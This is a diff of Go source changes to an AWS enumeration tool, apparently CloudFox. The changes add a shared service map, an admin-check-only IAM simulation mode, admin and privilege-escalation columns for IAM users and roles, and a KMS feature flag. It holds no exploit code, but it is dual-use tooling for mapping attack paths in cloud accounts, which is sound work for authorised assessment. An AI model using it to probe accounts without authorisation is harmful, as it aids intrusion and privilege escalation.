servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("efs", r)
|
||||
if err != nil {
|
||||
|
||||
+1
-1
@@ -331,7 +331,7 @@ func (m *GraphCommand) collectRoleDataForGraph() []models.Role {
|
||||
|
||||
TrustedPrincipals = append(TrustedPrincipals, models.TrustedPrincipal{
|
||||
TrustedPrincipal: principal,
|
||||
ExternalID: statement.Condition.StringEquals.StsExternalID,
|
||||
ExternalID: strings.Join(statement.Condition.StringEquals.StsExternalID, "\n"),
|
||||
VendorName: vendorName,
|
||||
//IsAdmin: false,
|
||||
//CanPrivEscToAdmin: false,
|
||||
|
||||
+34
-29
@@ -33,8 +33,9 @@ type IamSimulatorModule struct {
|
||||
WrapTable bool
|
||||
|
||||
// Main module data
|
||||
SimulatorResults []SimulatorResult
|
||||
CommandCounter internal.CommandCounter
|
||||
SimulatorResults []SimulatorResult
|
||||
CommandCounter internal.CommandCounter
|
||||
IamSimulatorAdminCheckOnly bool
|
||||
// Used to store output data for pretty printing
|
||||
output internal.OutputData2
|
||||
modLog *logrus.Entry
|
||||
@@ -47,26 +48,23 @@ type SimulatorResult struct {
|
||||
Decision string
|
||||
}
|
||||
|
||||
var (
|
||||
defaultActionNames = []string{
|
||||
"sts:AssumeRole",
|
||||
"iam:PassRole",
|
||||
"secretsmanager:GetSecretValue",
|
||||
"ssm:GetParameter",
|
||||
"s3:ListBucket",
|
||||
"s3:GetObject",
|
||||
"ssm:SendCommand",
|
||||
"ssm:StartSession",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetAuthorizationToken",
|
||||
"eks:UpdateClusterConfig",
|
||||
"lambda:ListFunctions",
|
||||
"ec2:DescribeInstanceAttributeInput",
|
||||
"sns:Subscribe",
|
||||
"sqs:SendMessage",
|
||||
}
|
||||
TxtLogger = internal.TxtLogger()
|
||||
)
|
||||
var defaultActionNames = []string{
|
||||
"sts:AssumeRole",
|
||||
"iam:PassRole",
|
||||
"secretsmanager:GetSecretValue",
|
||||
"ssm:GetParameter",
|
||||
"s3:ListBucket",
|
||||
"s3:GetObject",
|
||||
"ssm:SendCommand",
|
||||
"ssm:StartSession",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetAuthorizationToken",
|
||||
"eks:UpdateClusterConfig",
|
||||
"lambda:ListFunctions",
|
||||
"ec2:DescribeInstanceAttributeInput",
|
||||
"sns:Subscribe",
|
||||
"sqs:SendMessage",
|
||||
}
|
||||
|
||||
func (m *IamSimulatorModule) PrintIamSimulator(principal string, action string, resource string, outputDirectory string, verbosity int) {
|
||||
|
||||
@@ -104,6 +102,11 @@ func (m *IamSimulatorModule) PrintIamSimulator(principal string, action string,
|
||||
|
||||
go m.Receiver(dataReceiver, receiverDone)
|
||||
|
||||
if m.IamSimulatorAdminCheckOnly {
|
||||
// set defaultActionNames to an empty slice
|
||||
defaultActionNames = []string{}
|
||||
}
|
||||
|
||||
// This double if/else section is here to handle the cases where --principal or --action (or both) are specified.
|
||||
if principal != "" {
|
||||
if action != "" {
|
||||
@@ -354,7 +357,9 @@ func (m *IamSimulatorModule) getIAMUsers(wg *sync.WaitGroup, actions []string, r
|
||||
Decision: "",
|
||||
}
|
||||
} else {
|
||||
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
|
||||
if !m.IamSimulatorAdminCheckOnly {
|
||||
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -394,7 +399,9 @@ func (m *IamSimulatorModule) getIAMRoles(wg *sync.WaitGroup, actions []string, r
|
||||
Decision: "",
|
||||
}
|
||||
} else {
|
||||
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
|
||||
if !m.IamSimulatorAdminCheckOnly {
|
||||
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -443,7 +450,7 @@ func (m *IamSimulatorModule) isPrincipalAnAdmin(principal *string) bool {
|
||||
"iam:PutRolePolicy",
|
||||
"iam:AttachRolePolicy",
|
||||
"secretsmanager:GetSecretValue",
|
||||
"ssm:GetDocument",
|
||||
"ssm:GetParameters",
|
||||
}
|
||||
for {
|
||||
SimulatePrincipalPolicy, err := m.IAMClient.SimulatePrincipalPolicy(
|
||||
@@ -456,11 +463,9 @@ func (m *IamSimulatorModule) isPrincipalAnAdmin(principal *string) bool {
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
//m.modLog.Error(err.Error())
|
||||
TxtLogger.Println(err.Error())
|
||||
m.modLog.Error(err)
|
||||
m.CommandCounter.Error++
|
||||
//m.modLog.Error(fmt.Sprintf("Failed admin check on %s\n\n", aws.ToString(principal)))
|
||||
TxtLogger.Printf("Failed admin check on %s\n\n", aws.ToString(principal))
|
||||
m.modLog.Errorf("Failed admin check on %s", aws.ToString(principal))
|
||||
return false
|
||||
}
|
||||
|
||||
|
||||
+15
-5
@@ -4,7 +4,6 @@ import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
@@ -36,6 +35,7 @@ type InstancesModule struct {
|
||||
UserDataAttributesOnly bool
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
InstanceProfileToRolesMap map[string][]iamTypes.Role
|
||||
SkipAdminCheck bool
|
||||
pmapperMod PmapperModule
|
||||
@@ -435,13 +435,21 @@ func (m *InstancesModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
|
||||
func (m *InstancesModule) executeChecks(instancesToSearch []string, r string, wg *sync.WaitGroup, dataReceiver chan MappedInstance) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
m.modLog.Warn("ServiceMap is nil, creating new instance (this should not happen)")
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ec2", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
m.modLog.Errorf("Error checking if EC2 is available in region %s: %v", r, err)
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
m.modLog.Debugf("ServiceMap check for EC2 in region %s: result=%v, error=%v", r, res, err)
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
@@ -449,6 +457,8 @@ func (m *InstancesModule) executeChecks(instancesToSearch []string, r string, wg
|
||||
m.getDescribeInstances(instancesToSearch, r, dataReceiver)
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
} else {
|
||||
m.modLog.Infof("Skipping region %s: EC2 not available or check failed", r)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -537,7 +547,7 @@ func (m *InstancesModule) loadInstanceData(instance types.Instance, region strin
|
||||
// Describe the IAM instance profile
|
||||
profileOutput, err := sdk.CachedIamGetInstanceProfile(m.IAMClient, aws.ToString(m.Caller.Account), profileName)
|
||||
if err != nil {
|
||||
log.Printf("failed to get instance profile for %s, %v", profileArn, err)
|
||||
m.modLog.Errorf("failed to get instance profile for %s, %v", profileArn, err)
|
||||
}
|
||||
|
||||
for _, role := range profileOutput.Roles {
|
||||
|
||||
+17
-21
@@ -90,6 +90,7 @@ type Inventory2Module struct {
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
RegionResourceCount int
|
||||
@@ -423,8 +424,12 @@ func (m *Inventory2Module) Receiver(receiver chan GlobalResourceCount2, receiver
|
||||
func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan GlobalResourceCount2) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
|
||||
// AppRunner is not supported in the aws service region catalog so we have to run it in all regions
|
||||
@@ -432,7 +437,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
wg.Add(1)
|
||||
go m.getAppRunnerServicesPerRegion(r, wg, semaphore)
|
||||
|
||||
res, err := servicemap.IsServiceInRegion("apigateway", r)
|
||||
res, err := servicemap.IsServiceInRegion("api-gateway", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -594,7 +599,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
go m.getEKSNodeGroupsPerRegion(r, wg, semaphore)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("elb", r)
|
||||
res, err = servicemap.IsServiceInRegion("elasticloadbalancing", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -640,7 +645,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
go m.GetEMRInstancesPerRegion(r, wg, semaphore)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("es", r)
|
||||
res, err = servicemap.IsServiceInRegion("opensearch-service", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -677,7 +682,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("kinesis", r)
|
||||
res, err = servicemap.IsServiceInRegion("streams", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -698,7 +703,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
go m.getLambdaFunctionsPerRegion(r, wg, semaphore)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("lightsail", r)
|
||||
res, err = servicemap.IsServiceInRegion("amazonlightsail.com", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -708,7 +713,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
go m.getLightsailInstancesAndContainersPerRegion(r, wg, semaphore)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("mq", r)
|
||||
res, err = servicemap.IsServiceInRegion("amazon-mq", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -738,7 +743,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
go m.getRedshiftClustersPerRegion(r, wg, semaphore)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("secretsmanager", r)
|
||||
res, err = servicemap.IsServiceInRegion("secrets-manager", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -768,7 +773,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
go m.getSQSQueuesPerRegion(r, wg, semaphore)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("ssm", r)
|
||||
res, err = servicemap.IsServiceInRegion("systems-manager", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -778,7 +783,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
go m.getSSMParametersPerRegion(r, wg, semaphore)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("stepfunctions", r)
|
||||
res, err = servicemap.IsServiceInRegion("step-functions", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -791,16 +796,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
}
|
||||
|
||||
func (m *Inventory2Module) PrintTotalResources(AWSOutputType string) {
|
||||
var totalResources int
|
||||
for _, r := range m.AWSRegions {
|
||||
if m.totalRegionCounts[r] != 0 {
|
||||
totalResources = totalResources + m.totalRegionCounts[r]
|
||||
}
|
||||
}
|
||||
|
||||
for i := range m.GlobalResourceCounts {
|
||||
totalResources = totalResources + m.GlobalResourceCounts[i].count
|
||||
}
|
||||
totalResources := len(m.resources)
|
||||
fmt.Printf("[%s][%s] %d resources found in the services we looked at. This is NOT the total number of resources in the account.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), totalResources)
|
||||
}
|
||||
|
||||
|
||||
+7
-2
@@ -35,6 +35,7 @@ type LambdasModule struct {
|
||||
AWSProfile string
|
||||
SkipAdminCheck bool
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
pmapperMod PmapperModule
|
||||
pmapperError error
|
||||
PmapperDataBasePath string
|
||||
@@ -228,8 +229,12 @@ func (m *LambdasModule) PrintLambdas(outputDirectory string, verbosity int) {
|
||||
func (m *LambdasModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Lambda) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("lambda", r)
|
||||
if err != nil {
|
||||
|
||||
@@ -74,6 +74,7 @@ type NetworkPortsModule struct {
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
Verbosity int
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
IPv4_Private []NetworkService
|
||||
@@ -273,8 +274,12 @@ func (m *NetworkPortsModule) PrintNetworkPorts(outputDirectory string) {
|
||||
|
||||
func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan NetworkServices) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
|
||||
res, err := servicemap.IsServiceInRegion("ec2", r)
|
||||
@@ -313,7 +318,7 @@ func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataRec
|
||||
m.getElastiCacheNetworkPortsPerRegion(r, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("elb", r)
|
||||
res, err = servicemap.IsServiceInRegion("elasticloadbalancing", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -322,7 +327,7 @@ func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataRec
|
||||
m.getLBNetworkPortsPerRegion(r, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("lightsail", r)
|
||||
res, err = servicemap.IsServiceInRegion("amazonlightsail.com", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
|
||||
@@ -31,6 +31,7 @@ type OutboundAssumedRolesModule struct {
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
OutboundAssumeRoleEntries []OutboundAssumeRoleEntry
|
||||
@@ -294,8 +295,12 @@ func (m *OutboundAssumedRolesModule) Receiver(receiver chan OutboundAssumeRoleEn
|
||||
|
||||
func (m *OutboundAssumedRolesModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan OutboundAssumeRoleEntry) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("cloudtrail", r)
|
||||
if err != nil {
|
||||
|
||||
+1
-1
@@ -196,7 +196,7 @@ func (m *IamPermissionsModule) PrintIamPermissions(outputDirectory string, verbo
|
||||
func (m *IamPermissionsModule) GetGAAD() {
|
||||
GAAD, err := sdk.CachedIAMGetAccountAuthorizationDetails(m.IAMClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
TxtLogger.Error(err.Error())
|
||||
m.modLog.Error(err)
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
@@ -26,6 +26,12 @@ type IamPrincipalsModule struct {
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
|
||||
SkipAdminCheck bool
|
||||
iamSimClient IamSimulatorModule
|
||||
pmapperMod PmapperModule
|
||||
pmapperError error
|
||||
PmapperDataBasePath string
|
||||
|
||||
// Main module data
|
||||
Users []User
|
||||
Roles []Role
|
||||
@@ -43,6 +49,8 @@ type User struct {
|
||||
Name string
|
||||
AttachedPolicies []string
|
||||
InlinePolicies []string
|
||||
Admin string
|
||||
CanPrivEsc string
|
||||
}
|
||||
|
||||
type Group struct {
|
||||
@@ -62,6 +70,8 @@ type Role struct {
|
||||
Name string
|
||||
AttachedPolicies []string
|
||||
InlinePolicies []string
|
||||
Admin string
|
||||
CanPrivEsc string
|
||||
}
|
||||
|
||||
func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosity int) {
|
||||
@@ -69,6 +79,7 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
|
||||
m.output.Verbosity = verbosity
|
||||
m.output.Directory = outputDirectory
|
||||
m.output.CallingModule = "principals"
|
||||
localAdminMap := make(map[string]bool)
|
||||
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
|
||||
"module": m.output.CallingModule,
|
||||
})
|
||||
@@ -78,6 +89,9 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating IAM Users and Roles for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
|
||||
m.pmapperMod, m.pmapperError = InitPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines, m.PmapperDataBasePath)
|
||||
m.iamSimClient = InitIamCommandClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
|
||||
|
||||
// wg := new(sync.WaitGroup)
|
||||
|
||||
// done := make(chan bool)
|
||||
@@ -101,6 +115,8 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
|
||||
"Arn",
|
||||
"AttachedPolicies",
|
||||
"InlinePolicies",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
|
||||
// If the user specified table columns, use those.
|
||||
@@ -122,6 +138,8 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
|
||||
"Arn",
|
||||
//"AttachedPolicies",
|
||||
//"InlinePolicies",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
|
||||
// Otherwise, use the default columns.
|
||||
@@ -132,11 +150,25 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
|
||||
"Arn",
|
||||
// "AttachedPolicies",
|
||||
// "InlinePolicies",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
}
|
||||
|
||||
// Remove the pmapper row if there is no pmapper data
|
||||
if m.pmapperError != nil {
|
||||
sharedLogger.Errorf("%s - %s - No pmapper data found for this account. Skipping the pmapper column in the output table.", m.output.CallingModule, m.AWSProfile)
|
||||
tableCols = removeStringFromSlice(tableCols, "CanPrivEscToAdmin?")
|
||||
}
|
||||
|
||||
//Table rows
|
||||
for i := range m.Users {
|
||||
if m.pmapperError == nil {
|
||||
m.Users[i].Admin, m.Users[i].CanPrivEsc = GetPmapperResults(m.SkipAdminCheck, m.pmapperMod, &m.Users[i].Arn)
|
||||
} else {
|
||||
m.Users[i].Admin, m.Users[i].CanPrivEsc = GetIamSimResult(m.SkipAdminCheck, &m.Users[i].Arn, m.iamSimClient, localAdminMap)
|
||||
}
|
||||
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
@@ -146,12 +178,19 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
|
||||
m.Users[i].Arn,
|
||||
strings.Join(m.Users[i].AttachedPolicies, " , "),
|
||||
strings.Join(m.Users[i].InlinePolicies, " , "),
|
||||
m.Users[i].Admin,
|
||||
m.Users[i].CanPrivEsc,
|
||||
},
|
||||
)
|
||||
|
||||
}
|
||||
|
||||
for i := range m.Roles {
|
||||
if m.pmapperError == nil {
|
||||
m.Roles[i].Admin, m.Roles[i].CanPrivEsc = GetPmapperResults(m.SkipAdminCheck, m.pmapperMod, &m.Roles[i].Arn)
|
||||
} else {
|
||||
m.Roles[i].Admin, m.Roles[i].CanPrivEsc = GetIamSimResult(m.SkipAdminCheck, &m.Roles[i].Arn, m.iamSimClient, localAdminMap)
|
||||
}
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
@@ -161,6 +200,8 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
|
||||
m.Roles[i].Arn,
|
||||
strings.Join(m.Roles[i].AttachedPolicies, " , "),
|
||||
strings.Join(m.Roles[i].InlinePolicies, " , "),
|
||||
m.Roles[i].Admin,
|
||||
m.Roles[i].CanPrivEsc,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
+7
-2
@@ -29,6 +29,7 @@ type RAMModule struct {
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
Resources []Resource
|
||||
@@ -178,8 +179,12 @@ func (m *RAMModule) PrintRAM(outputDirectory string, verbosity int) {
|
||||
|
||||
func (m *RAMModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan Resource) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ram", r)
|
||||
if err != nil {
|
||||
|
||||
+391
-13
@@ -19,6 +19,11 @@ import (
|
||||
)
|
||||
|
||||
type ResourceTrustsModule struct {
|
||||
KMSClient *sdk.KMSClientInterface
|
||||
APIGatewayClient *sdk.APIGatewayClientInterface
|
||||
EC2Client *sdk.AWSEC2ClientInterface
|
||||
OpenSearchClient *sdk.OpenSearchClientInterface
|
||||
|
||||
// General configuration data
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
@@ -31,6 +36,7 @@ type ResourceTrustsModule struct {
|
||||
AWSProfileProvided string
|
||||
AWSProfileStub string
|
||||
CloudFoxVersion string
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
Resources2 []Resource2
|
||||
CommandCounter internal.CommandCounter
|
||||
@@ -55,7 +61,7 @@ type Resource2 struct {
|
||||
HasConditions string
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) PrintResources(outputDirectory string, verbosity int) {
|
||||
func (m *ResourceTrustsModule) PrintResources(outputDirectory string, verbosity int, includeKms bool) {
|
||||
// These struct values are used by the output module
|
||||
m.output.Verbosity = verbosity
|
||||
m.output.Directory = outputDirectory
|
||||
@@ -72,13 +78,21 @@ func (m *ResourceTrustsModule) PrintResources(outputDirectory string, verbosity
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfileProvided, aws.ToString(m.Caller.Account)))
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating Resources with resource policies for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfileStub), aws.ToString(m.Caller.Account))
|
||||
fmt.Printf("[%s][%s] Supported Services: CodeBuild, ECR, EFS, Glue, Lambda, SecretsManager, S3, SNS, SQS\n", cyan(m.output.CallingModule), cyan(m.AWSProfileStub))
|
||||
// if kms feature flag is enabled include kms in the supported services
|
||||
if includeKms {
|
||||
fmt.Printf("[%s][%s] Supported Services: APIGateway, CodeBuild, ECR, EFS, Glue, KMS, Lambda, Opensearch, SecretsManager, S3, SNS, SQS, VpcEndpoint\n",
|
||||
cyan(m.output.CallingModule), cyan(m.AWSProfileStub))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] Supported Services: APIGateway, CodeBuild, ECR, EFS, Glue, Lambda, Opensearch, SecretsManager, S3, SNS, "+
|
||||
"SQS, VpcEndpoint (KMS requires --include-kms feature flag)\n",
|
||||
cyan(m.output.CallingModule), cyan(m.AWSProfileStub))
|
||||
}
|
||||
wg := new(sync.WaitGroup)
|
||||
semaphore := make(chan struct{}, m.Goroutines)
|
||||
|
||||
// Create a channel to signal the spinner aka task status goroutine to finish
|
||||
spinnerDone := make(chan bool)
|
||||
//fire up the the task status spinner/updated
|
||||
//fire up the task status spinner/updated
|
||||
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
|
||||
|
||||
//create a channel to receive the objects
|
||||
@@ -91,7 +105,7 @@ func (m *ResourceTrustsModule) PrintResources(outputDirectory string, verbosity
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver, includeKms)
|
||||
|
||||
}
|
||||
wg.Add(1)
|
||||
@@ -186,14 +200,17 @@ func (m *ResourceTrustsModule) PrintResources(outputDirectory string, verbosity
|
||||
fmt.Printf("[%s][%s] No resource policies found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfileStub))
|
||||
}
|
||||
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfileStub), m.output.CallingModule)
|
||||
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2, includeKms bool) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("sns", r)
|
||||
if err != nil {
|
||||
@@ -234,6 +251,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
wg.Add(1)
|
||||
m.getCodeBuildResourcePoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("lambda", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
@@ -243,6 +261,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
wg.Add(1)
|
||||
m.getLambdaPolicyPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("efs", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
